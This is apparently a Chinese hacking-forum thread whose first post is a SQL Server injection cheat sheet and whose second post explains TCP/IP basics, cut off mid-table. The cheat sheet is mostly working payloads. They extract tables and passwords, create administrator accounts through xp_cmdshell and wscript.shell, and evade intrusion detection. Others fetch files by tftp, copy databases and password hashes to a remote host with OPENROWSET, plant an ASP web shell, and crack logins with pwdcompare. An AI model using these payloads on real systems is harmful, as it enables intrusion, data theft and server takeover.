发新话题
打印

菜鸟升级一号专题(已完成)

Sql注射总结

Sql注射总结(早源于'or'1'='1)

最重要的表名:
select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses



最重要的一些用户名(默认sql数据库中存在着的)
public
dbo
guest(一般禁止,或者没权限)
db_sercurityadmin
ab_dlladmin


一些默认扩展



xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驱动器相关
xp_dirtree 目录
xp_enumdsn ODBC连接
xp_loginconfig 服务器安全模式信息
xp_makecab 创建压缩卷
xp_ntsec_enumdomains domain信息
xp_terminate_process 终端进程,给出一个PID


例如:
sp_addextendedproc 'xp_webserver', 'c:/temp/xp_foo.dll'
exec xp_webserver
sp_dropextendedproc 'xp_webserver'
bcp "select * FROM test..foo" queryout c:/inetpub/wwwroot/runcommand.asp -c -Slocalhost -Usa -Pfoobar
' group by users.id having 1=1-
' group by users.id, users.username, users.password, users.privs having 1=1-
'; insert into users values( 666, 'attacker', 'foobar', 0xffff )-


union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable'-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id')-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id','login_name')-
union select TOP 1 login_name FROM logintable-
union select TOP 1 password FROM logintable where login_name='Rahul'--
构造语句:查询是否存在xp_cmdshell
' union select @@version,1,1,1--
and 1=(select @@VERSION)
and 'sa'=(select System_user)
' union select ret,1,1,1 from foo--
' union select min(username),1,1,1 from users where username > 'a'-
' union select min(username),1,1,1 from users where username > 'admin'-
' union select password,1,1,1 from users where username = 'admin'--
and user_name()='dbo'
and 0<>(select user_name()-
; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:/WINNT/system32/cmd.exe /c net user swap 5245886 /add'
and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'



1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype='x'%20and%20name='xp_cmdshell')
and 1=(select IS_SRVROLEMEMBER('sysadmin')) 判断sa权限是否
and 0<>(select top 1 paths from newtable)-- 暴库大法
and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名(从1到5都是系统的id,6以上才可以判断)
创建一个虚拟目录E盘:
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:/inetpub/wwwroot/mkwebdir.vbs -w "默认 Web 站点" -v "e","e:/"'
访问属性:(配合写入一个webshell)
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:/inetpub/wwwroot/chaccess.vbs -a w3svc/1/ROOT/e +browse'



and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表 假设为 admin


and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin'
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
('id',...)) 来暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到密码。。。。。假设存在user_id username ,password 等字段


Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
(union语句到处风靡啊,access也好用


暴库特殊技巧::%5c='/' 或者把/和/ 修改%5提交
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段


http://xx.xx.xx.xx/111.asp?id=3400;create  table [dbo].[swap] ([swappass][char](255));--


http://xx.xx.xx.xx/111.asp?id=3400  and (select top 1 swappass from swap)=1
;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM/CurrentControlSet/Services/W3SVC/Parameters/Virtual Roots/', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test)


http://61.131.96.39/PageShow.asp?TianName=政策法规&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20"wscript.shell",@s%20out;exec%20sp_oamethod%20@s,"run",NULL,"cmd.exe%20/c%20ping%201.1.1.1";--  



得到了web路径d:/xxxx,接下来:
http://xx.xx.xx.xx/111.asp?id=3400 ;use ku1;--
http://xx.xx.xx.xx/111.asp?id=3400;create  table cmd (str image);--



传统的存在xp_cmdshell的测试过程:
;exec master..xp_cmdshell 'dir'
;exec master.dbo.sp_addlogin hax;--
;exec master.dbo.sp_password null,hax,hax;--
;exec master.dbo.sp_addsrvrolemember hax sysadmin;--
;exec master.dbo.xp_cmdshell 'net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
http://www.xxx.com/list.asp?classid=1;  DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:/WINNT/system32/cmd.exe /c net user swap 5258 /add'
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:/WINNT/system32/cmd.exe /c net localgroup administrators swap/add'


http://localhost/show.asp?id=1';  exec master..xp_cmdshell 'tftp -i youip get file.exe'-


declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:/'
;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat'
如果被限制则可以。
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax')
传统查询构造:
select * FROM news where id=... AND topic=... AND .....
admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>'
select 123;--
;use master;--
:a' or name like 'fff%';-- 显示有一个叫ffff的用户哈。
'and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--
说明:
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID
ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--


象下面这样就可以得到第二个表的名字了
ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--
ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--


ffff';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--


exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
sp_addextendedproc 'xp_webserver', 'c:/temp/xp_foo.dll'
扩展存储就可以通过一般的方法调用:
exec xp_webserver
一旦这个扩展存储执行过,可以这样删除它:
sp_dropextendedproc 'xp_webserver'


insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-


insert into users values( 667,123,123,0xffff)-


insert into users values ( 123, 'admin''--', 'password', 0xffff)-


;and user>0
;;and (select count(*) from sysobjects)>0
;;and (select count(*) from mysysobjects)>0 //为access数据库


-----------------------------------------------------------通常注射的一些介绍:
A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句:
select * from 表名 where 字段=49 And [查询条件]


(B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
select * from 表名 where 字段='连续剧'
注入的参数为Class=连续剧' and [查询条件] and ''=' ,即是生成语句:
select * from 表名 where 字段='连续剧' and [查询条件] and ''=''
(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
select * from 表名 where 字段like '%关键字%'
注入的参数为keyword=' and [查询条件] and '%25'=', 即是生成语句:
select * from 表名 where字段like '%' and [查询条件] and '%'='%'
;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0
sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype='U' and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。
;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0
从⑤拿到表名后,用object_id('表名')获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。



post.htm内容:主要是方便输入。
<iframe name=p src=# width=800 height=350 frameborder=0></iframe>
<br>
<form action=http://test.com/count.asp  target=p>
<input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--" style="width:750">
<input type=submit value=">>>">
<input type=hidden name=fno value="2, 3">
</form>
枚举出他的数据表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>'刚才得到的表名')。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,^^^^^^一个个的读出,直到没有为止。
读字段是这样:
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
--------------------------------高级技巧:
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一个加一个]) [ where 条件]
select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]


[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id('要查询的数据表名'),字段列如:1) [ where 条件]


绕过IDS的检测[使用变量]
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:/'



1、 开启远程数据库
基本语法
select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' )
参数: (1) OLEDB Provider name
2、 其中连接字符串参数可以是任何和端口用来连接,比如
select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table'


要复制目标主机的整个数据库,首先要在目标主机上和自己机器上的数据库建立连接(如何在目标主机上建立远程连接,刚才已经讲了),之后insert所有远程表到本地表。


基本语法:
insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1') select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from table2


insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysdatabases')
select * from master.dbo.sysdatabases


insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysobjects')
select * from user_database.dbo.sysobjects


insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _syscolumns')
select * from user_database.dbo.syscolumns


之后,便可以从本地数据库中看到目标主机的库结构,这已经易如反掌,不多讲,复制数据库:
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from database..table1


insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table2') select * from database..table2


......


3、 复4、 制哈西表(HASH)


这实际上是上述复5、 制数据库的一个扩展应用。登录密码的hash存储于sysxlogins中。方法如下:
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysxlogins') select * from database.dbo.sysxlogins
得到hash之后,6、 就可以进行暴力破解。这需要一点运气和大量时间。



遍历目录的方法:
先创建一个临时表:temp
'5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
5';insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
5';insert into temp(id) exec master.dbo.xp_subdirs 'c:/';-- 获得子目录列表
5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';-- 获得所有子目录的目录树结构,并寸入temp表中


5';insert into temp(id) exec master.dbo.xp_cmdshell 'type c:/web/index.asp';-- 查看某个文件的内容
5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:/';--
5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:/ *.asp /s/a';--
5';insert into temp(id) exec master.dbo.xp_cmdshell 'cscript C:/Inetpub/AdminScripts/adsutil.vbs enum w3svc'


5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';-- (xp_dirtree适用权限PUBLIC)
写入表:
语句1:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select  IS_SRVROLEMEMBER('sysadmin'));--
语句2:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select  IS_SRVROLEMEMBER('serveradmin'));--
语句3:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select  IS_SRVROLEMEMBER('setupadmin'));--
语句4:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select  IS_SRVROLEMEMBER('securityadmin'));--
语句5:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select  IS_SRVROLEMEMBER('securityadmin'));--
语句6:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select  IS_SRVROLEMEMBER('diskadmin'));--
语句7:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select  IS_SRVROLEMEMBER('bulkadmin'));--
语句8:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select  IS_SRVROLEMEMBER('bulkadmin'));--
语句9:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select  IS_MEMBER('db_owner'));--
把路径写到表中去:
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths  varchar(100), id int)-
http://http://www.xxxxx.com/down/list.asp?id=1;insert   dirs exec master.dbo.xp_dirtree 'c:/'-
http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-  
http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))-  
语句:http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs1(paths varchar(100), id int)--  
语句:http://http://www.xxxxx.com/down/list.asp?id=1;insert  dirs exec master.dbo.xp_dirtree 'e:/web'--
语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs1)-  
把数据库备份到网页目录:下载
http://http://www.xxxxx.com/down/list.asp?id=1;declare @a sysname; set @a=db_name();backup database @a to disk='e:/web/down.bak';--  



and%201=(select%20top%201%20name%20from(select%20top%2012%20id,name%20from%20sysobjects%20where%20xtype=char(85))%20T%20order%20by%20id%20desc)
and%201=(select%20Top%201%20col_name(object_id('USER_LOGIN'),1)%20from%20sysobjects) 参看相关表。
and 1=(select%20user_id%20from%20USER_LOGIN)
and%200=(select%20user%20from%20USER_LOGIN%20where%20user>1)



……………………………………………………
-- wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
It could be run in our sample scenario by specifying the following username (all on one line):
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--
2) This example uses the 'scripting.filesystemobject' object to read a known text file:
-- scripting.filesystemobject example - read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:/boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
3) This example creates an ASP script that will run any command passed to it in the querystring:
-- scripting.filesystemobject example - create a 'run this' .asp file
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:/inetpub/wwwroot/foo.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>'
It is important to note that when running on a Windows NT4, IIS4 platform, commands issued by this ASP script will run as the 'system' account. In IIS5, however, they will run as the low-privileged IWAM_xxx account.
4) This (somewhat spurious) example illustrates the flexibility of the technique; it uses the 'speech.voicetext' object, causing the SQL Server to speak: Page 16
declare @o int, @ret int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528
waitfor delay '00:00:05'
This could of course be run in our example scenario, by specifying the following 'username' (note that the example is not only injecting a script, but simultaneously logging in to the application as 'admin'):
Username: admin'; declare @o int, @ret int exec sp_oacreate 'speech.voicetext', @o out exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to us', 528 waitfor delay '00:00:05'--



常用密码和相关语句:
password
sqlserver
sql
admin
sesame
sa
guest
Here is the script:
(sqlcrack.sql)
create table tempdb..passwords( pwd varchar(255) )
bulk insert tempdb..passwords from 'c:/temp/passwords.txt'
select name, pwd from tempdb..passwords inner join sysxlogins
on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1)
union select name, name from sysxlogins where
(pwdcompare( name, sysxlogins.password, 0 ) = 1)
union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid
where sysxlogins.password is null and
syslogins.isntgroup=0 and
syslogins.isntuser=0
drop table tempdb..passwords

TOP

TCP、IP协议基础

1、TCP/IP协议栈

四层模型
TCP/IP这个协议遵守一个四层的模型概念:应用层、传输层、互联层和网络接口层。

网络接口层
模型的基层是网络接口层。负责数据帧的发送和接收,帧是独立的网络信息传输单元。网络接口层将帧放在网上,或从网上把帧取下来。

互联层
互联协议将数据包封装成internet数据报,并运行必要的路由算法。
这里有四个互联协议:
网际协议IP:负责在主机和网络之间寻址和路由数据包。
地址解析协议ARP:获得同一物理网络中的硬件主机地址。
网际控制消息协议ICMP:发送消息,并报告有关数据包的传送错误。
互联组管理协议IGMP:被IP主机拿来向本地多路广播路由器报告主机组成员。

传输层
传输协议在计算机之间提供通信会话。传输协议的选择根据数据传输方式而定。
两个传输协议:
传输控制协议TCP:为应用程序提供可靠的通信连接。适合于一次传输大批数据的情况。并适用于要求得到响应的应用程序。
用户数据报协议UDP:提供了无连接通信,且不对传送包进行可靠的保证。适合于一次传输小量数据,可靠性则由应用层来负责。

应用层
应用程序通过这一层访问网络。

网络接口技术
IP使用网络设备接口规范NDIS向网络接口层提交帧。IP支持广域网和本地网接口技术。

串行线路协议
TCP/IPG一般通过internet串行线路协议SLIP或点对点协议PPP在串行线上进行数据传送。(是不是我们平时把它称之为异步通信,对于要拿LINUX提供建立远程连接的朋友应该多研究一下这方面的知识)?


2、ARP

要在网络上通信,主机就必须知道对方主机的硬件地址(我们不是老遇到网卡的物理地址嘛)。地址解析就是将主机IP地址映射为硬件地址的过程。地址解析协议ARP用于获得在同一物理网络中的主机的硬件地址。

解释本地IP地址(要了解地址解析工作过程的朋友看好了)
主机IP地址解析为硬件地址:
(1)当一台主机要与别的主机通信时,初始化ARP请求。当该IP断定IP地址是本地时,源主机在ARP缓存中查找目标主机的硬件地址。
(2)要是找不到映射的话,ARP建立一个请求,源主机IP地址和硬件地址会被包括在请求中,该请求通过广播,使所有本地主机均能接收并处理。
(3)本地网上的每个主机都收到广播并寻找相符的IP地址。
(4)当目标主机断定请求中的IP地址与自己的相符时,直接发送一个ARP答复,将自己的硬件地址传给源主机。以源主机的IP地址和硬件地址更新它的ARP缓存。源主机收到回答后便建立起了通信。

解析远程IP地址
不同网络中的主机互相通信,ARP广播的是源主机的缺省网关。
目标IP地址是一个远程网络主机的话,ARP将广播一个路由器的地址。
(1)通信请求初始化时,得知目标IP地址为远程地址。源主机在本地路由表中查找,若无,源主机认为是缺省网关的IP地址。在ARP缓存中查找符合该网关记录的IP地址(硬件地址)。
(2)若没找到该网关的记录,ARP将广播请求网关地址而不是目标主机的地址。路由器用自己的硬件地址响应源主机的ARP请求。源主机则将数据包送到路由器以传送到目标主机的网络,最终达到目标主机。
(3)在路由器上,由IP决定目标IP地址是本地还是远程。如果是本地,路由器用ARP(缓存或广播)获得硬件地址。如果是远程,路由器在其路由表中查找该网关,然后运用ARP获得此网关的硬件地址。数据包被直接发送到下一个目标主机。
(4)目标主机收到请求后,形成ICMP响应。因源主机在远程网上,将在本地路由表中查找源主机网的网关。找到网关后,ARP即获取它的硬件地址。
(5)如果此网关的硬件地址不在ARP缓存中,通过ARP广播获得。一旦它获得硬件地址,ICMP响应就送到路由器上,然后传到源主机。

ARP缓存
为减少广播量,ARP在缓存中保存地址映射以备用。ARP缓存保存有动态项和静态项。动态项是自动添加和删除的,静态项则保留在CACHE中直到计算
机重新启动。

ARP缓存总是为本地子网保留硬件广播地址(0xffffffffffffh)作为一个永久项。
此项使主机能够接受ARP广播。当查看缓存时,该项不会显示。
每条ARP缓存记录的生命周期为10分钟,2分钟内未用则删除。缓存容量满时,删除最老的记录。

加入静态(永久)记录
通过添加静态ARP项可减少ARP请求访问主机的次数。

ARP包的结构
ARP结构的字段如下:
硬件类型--使用的硬件(网络访问层)类型。
协议类型--解析过程中的协议使用以太类型的值。
硬件地址长度--硬件地址的字节长度,对于以太网和令牌环来说,其长度为6字节。
协议地址长度--协议地址字节的长度,IP的长度是4字节。
操作号--指定当前执行操作的字段。
发送者的硬件地址--发送者的硬件地址。
发送者的协议地址--发送者的协议地址。
目的站硬件地址--目标者的硬件地址。
目的站协议地址--目标者的协议地址。


3、ICMP和IGMP

internet控制消息协议ICMP是用于报告错误并代表IP对消息进行控制。
IP运用互联组管理协议IGMP来告诉路由器,某一网络上指导组中的可用主机。

ICMP
ICMP源抑制消息:当TCP/IP主机发送数据到另一主机时,如果速度达到路由器或者链路的饱和状态,路由器发出一个ICMP源抑制消息。

ICMP数据包结构
类型:一个8位类型字段,表示ICMP数据包类型。
代码:一个8位代码域,表示指定类型中的一个功能。如果一个类型中只有一种功能,代码域置为0。
检验和:数据包中ICMP部分上的一个16位检验和。
指定类型的数据随每个ICMP类型变化的一个附加数据。

IGMP
IGMP信息传给别的路由器以使每个支持多路广播的路由器获知哪个主机组和哪个网络中。

IGMP包结构
版本:IGMP的版本,值一般为0x1h。
类型:IGMP消息的类型。0x1h类型称为主机成员请求,在多路广播路由器上用于指定多级组中的任何成员轮询一个网络。0x2h类型称为主机成员报告,在主机上用于发布指定组中的成员情况或对一个路由器的主机成员请求进行回答。
未用:未用的域名被发送者置零且被接收者忽略。
检验和:IGMP头的一个16位检验和。
组地址:主机用该组地址在一个主机成员请求中存储IP多路广播地址。在主机成员请求中,组地址被全置零,而且硬件级的多路广播地址被用来标示主机组。

4、IP

IP是一个无连接的协议,主要就是负责在主机间寻址并为数据包设定路由,在交换数据前它并不建立会话。因为它不保证正确传递,另一方面,数据在被收到时,IP不需要收到确认,所以它是不可靠的。
有一些字段,在当数据从传输层传下来时,会被附加在数据包中,我们来看一下这些字段:
源IP地址:用IP地址确定数据报发送者。
目标IP地址:用IP地址确定数据报目标。
协议:告知目的机的IP是否将包传给TCP或UDP。
检查和:一个简单的数学计算,用来证实收到的包的完整性。
TTL生存有效时间:指定一个数据报被丢弃之前,在网络上能停留多少时间(以秒计)。它避免了包在网络中无休止循环。路由器会根据数据在路由器中驻留的时间来递减TTL。其中数据报通过一次路由器,TTL至少减少一秒。
根据我们前面提到关于ARP的知识,如果IP地址目标为本地地址时,IP将数据包直接传给那个主机;如果目标地址为远程地址的话,IP在本地的路由表中查找远程主机的路由(看来好象我们平时拨114一样)。如果找到一个路由,IP用它传送数据包。如果没找到呢,就会将数据包发送到源主机的缺省网关,也称之为路由器。(很多时候一直在搞网关和路由器的定义,其实我觉得在学的时候不一定死抠概念,现在硬件和软件结合的产品越来越多了,一时很分清的,只要我们运用的时候可以解决实际问题嘛。)
这样当路由器收到一个包后,该包向上传给IP:
(1)如果交通阻塞(听起来蛮可怕的),包在路由器中停滞,TTL至少减1或更多。要是它降到0的话,包就会被抛弃。
(2)如果对于下一网络来说包太大的话,IP会将它分割成若干个小包。
(3)如果包被分解,IP为每个新包制造一个新头,其中包括:一个标志,用来显示其它小包在其后;一个小包ID,用来确定所有小包是一起的;一个小包偏移,用来告诉接收主机怎么重新组合它们。
(4)IP计算一个新的检验和。
(5)IP获取一个路由的目标硬件地址。
(6)IP转发包。
在下一主机,包被发送到TCP或UDP。每个路由器都要重复该过程。直到包到达最终目的地。当包到达最终目的地后,IP将小包组装成原来的包。


5、TCP

TCP是一种可靠的面向连接的传送服务。它在传送数据时是分段进行的,主机交换数据必须建立一个会话。它用比特流通信,即数据被作为无结构的字节流。
通过每个TCP传输的字段指定顺序号,以获得可靠性。如果一个分段被分解成几个小段,接收主机会知道是否所有小段都已收到。通过发送应答,用以确认别的主机收到了数据。对于发送的每一个小段,接收主机必须在一个指定的时间返回一个确认。如果发送者未收到确认,数据会被重新发送;如果收到的数据包损坏,接收主机会舍弃它,因为确认未被发送,发送者会重新发送分段。

端口
SOCKETS实用程序使用一个协议端口号来标明自己应用的唯一性。端口可以使用0到65536之间的任何数字。在服务请求时,操作系统动态地为客户端的应用程序分配端口号。

套接字
套接字在要领上与文件句柄类似,因为其功能是作为网络通信的终结点。一个应用程序通过定义三部分来产生一个套接字:主机IP地址、服务类型(面向连接的服务是TCP,无连接服务是UDP)、应用程序所用的端口。

TCP端口
TCP端口为信息的传送提供定地点,端口号小于256的定义为常用端口。

TCP的三次握手
TCP对话通过三次握手来初始化。三次握手的目的是使数据段的发送和接收同步;告诉其它主机其一次可接收的数据量,并建立虚连接。
我们来看看这三次握手的简单过程:
(1)初始化主机通过一个同步标志置位的数据段发出会话请求。
(2)接收主机通过发回具有以下项目的数据段表示回复:同步标志置位、即将发送的数据段的起始字节的顺序号、应答并带有将收到的下一个数据段的字节顺序号。
(3)请求主机再回送一个数据段,并带有确认顺序号和确认号。

TCP滑动窗口
TCP滑动窗口用来暂存两台主机间要传送的数据,有点类似CACHE。
每个TCP/IP主机有两个滑动窗口:一个用于接收数据,另一个用于发送数据。

6、UDP

用户数据报协议UDP提供了无连接的数据报服务。它适用于无须应答并且通常一次只传送少量数据的应用软件。

UDP端口
端口作为多路复用的消息队列使用。
15 NETSTAT 网络状态
53 DOMAIN 域名服务器
69 TFTP 平凡文件传送协议
137 NETBIOS-NS NETBIOS命令服务
138 NETBIOS-DGM NETBIOS数据报服务
161 SNMP SNMP网络监视器


IP地址分配

1、IP地址

IP地址标识着网络中一个系统的位置。我们知道每个IP地址都是由两部分组成的:网络号和主机号。其中网络号标识一个物理的网络,同一个网络上所有主机需要同一个网络号,该号在互联网中是唯一的;而主机号确定网络中的一个工作端、服务器、路由器其它TCP/IP主机。对于同一个网络号来说,主机号是唯一的。每个TCP/IP主机由一个逻辑IP地址确定。

网络号和主机号
IP地址有两种表示形式:二进制表示(1和0太多了就搞不清)和点分十进制表示。每个IP地址的长度为4字节,由四个8位域组成,我们通常称之为八位体。八位体由句点.分开,表示为一个0-255之间的十进制数。一个IP地址的4个域分别标明了网络号和主机号。

2、地址类型

为适应不同大小的网络,internet定义了5种IP地址类型。
可以通过IP地址的前八位来确定地址的类型:
类型 IP形式 网络号 主机号
